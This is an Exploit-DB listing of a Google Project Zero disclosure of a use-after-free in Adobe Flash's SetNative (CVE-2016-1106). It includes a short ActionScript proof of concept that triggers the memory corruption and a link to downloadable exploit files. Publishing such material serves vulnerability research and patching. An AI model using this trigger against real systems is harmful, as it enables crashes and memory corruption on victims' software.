Adobe Flash - SetNative Use-After-Free

2016-05-17T00:00:00
ID EDB-ID:39831
Type exploitdb
Reporter Google Security Research
Modified 2016-05-17T00:00:00

Description

Adobe Flash - SetNative Use-After-Free. CVE-2016-1106. Dos exploits for multiple platform

                                        
                                            Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=800

There is a use-after-free in SetNative. If a watch is placed on a native that is initialized by SetNative, it can delete the object the set is being called on, leading to a use-after-free. A minimal PoC follows:

var t = this.createEmptyMovieClip("t", 1);
t.watch("a", func);
ASSetNative(t, 106, "a,b");
			
			
function func (){
	
	t.removeMovieClip();
	
	}

A swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39831.zip